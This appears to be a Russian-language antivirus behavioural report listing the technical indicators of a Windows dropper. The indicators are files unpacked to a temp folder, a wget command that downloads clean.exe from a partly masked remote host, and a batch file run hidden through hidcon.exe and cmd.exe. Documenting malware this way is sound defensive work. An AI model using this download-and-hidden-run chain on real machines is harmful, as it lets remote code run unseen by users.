Техническая информация
- '%TEMP%\RarSFX0\clean.exe'
- '%TEMP%\RarSFX0\wget.exe' http://an#####dus.msglist.name//clean.exe
- '%TEMP%\RarSFX0\hidcon.exe' g.bat
- '%TEMP%\RarSFX0\clean.exe' (загружен из сети Интернет)
- '<SYSTEM32>\cmd.exe' /c g.bat
- %TEMP%\RarSFX0\hidcon.exe
- %TEMP%\RarSFX0\clean.exe
- %TEMP%\RarSFX0\wget.exe
- %TEMP%\RarSFX0\g.bat
- %TEMP%\RarSFX0\hidcon.exe
- %TEMP%\RarSFX0\wget.exe
- %TEMP%\RarSFX0\clean.exe
- %TEMP%\RarSFX0\g.bat
- 'an#####dus.msglist.name':80
- an#####dus.msglist.name//clean.exe
- DNS ASK an#####dus.msglist.name
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'